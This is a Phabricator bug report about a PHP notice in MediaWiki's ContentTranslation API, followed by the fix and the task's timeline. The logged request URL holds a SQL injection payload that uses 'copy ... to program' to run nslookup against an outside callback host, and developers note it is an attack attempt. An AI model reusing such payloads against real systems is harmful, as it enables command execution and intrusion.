Page MenuHomePhabricator

ApiQueryContentTranslation.php: PHP Notice: Trying to get property 'translation' of non-object
Closed, ResolvedPublic

Description

Error

Request ID: XWTr1wpAMD0AAJ-xABoAAACP
Request URL: rw.wikipedia.org/w/api.php...

message
[XWTr1wpAMD0AAJ-xABoAAACP] /w/api.php?action=query&from=en&list=contenttranslation&sourcetitle=Hibiscus&to=es';copy%20(select%20'')%20to%20program%20'nslookup%20dns.sqli.%5c023475.50597-12494.50597.2d5c6.%5c1.bxss.me   ErrorException from line 53 of /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php: PHP Notice: Trying to get property 'translation' of non-object
trace
#0 /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php(53): MWExceptionHandler::handleError(integer, string, string, integer, array)
#1 /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php(25): ApiQueryContentTranslation->run()
#2 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiQuery.php(250): ApiQueryContentTranslation->execute()
#3 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(1589): ApiQuery->execute()
#4 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(533): ApiMain->executeAction()
#5 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(504): ApiMain->executeActionWithErrorHandling()
#6 /srv/mediawiki/php-1.34.0-wmf.19/api.php(86): ApiMain->execute()
#7 /srv/mediawiki/w/api.php(3): require(string)
#8 {main}
Impact

14 hits in wmf.19, 2 hits in wmf.11.

Notes

Since I'm not sure if the only two hits in wmf.11 are the same problem, this is blocking the train.

Details

Related Gerrit Patches:
mediawiki/extensions/ContentTranslation : masterGuard against empty results

Event Timeline

Restricted Application added a subscriber: Aklapper. · View Herald TranscriptAug 27 2019, 9:32 AM
zeljkofilipin triaged this task as Unbreak Now! priority.Aug 27 2019, 9:32 AM
Restricted Application added a subscriber: Liuxinyu970226. · View Herald TranscriptAug 27 2019, 9:32 AM
awight added a subscriber: awight.Aug 27 2019, 9:49 AM

This should be a simple fix, but I'd like to point out that the URL triggering the error is an attempted injection attack, so not sure we need to prioritize it.

Change 532676 had a related patch set uploaded (by Awight; owner: Awight):
[mediawiki/extensions/ContentTranslation@master] Guard against empty results

https://gerrit.wikimedia.org/r/532676

This should be a simple fix, but I'd like to point out that the URL triggering the error is an attempted injection attack, so not sure we need to prioritize it.

This is creating log spam, that's why I've reported it. All new errors are by default blocking the train.

Change 532676 merged by jenkins-bot:
[mediawiki/extensions/ContentTranslation@master] Guard against empty results

https://gerrit.wikimedia.org/r/532676

hashar added a subscriber: hashar.Aug 27 2019, 1:58 PM

@zeljkofilipin that is just a faulty query that was not properly handled. Anyway the fix is in master now.

Jdforrester-WMF lowered the priority of this task from Unbreak Now! to High.Aug 27 2019, 10:55 PM
Jdforrester-WMF added a subscriber: Jdforrester-WMF.

De-prioritising.

mmodell changed the subtype of this task from "Task" to "Production Error".Aug 28 2019, 11:06 PM
Jpita closed this task as Resolved.Sep 10 2019, 5:55 AM
hashar removed a subscriber: hashar.Dec 17 2019, 7:29 PM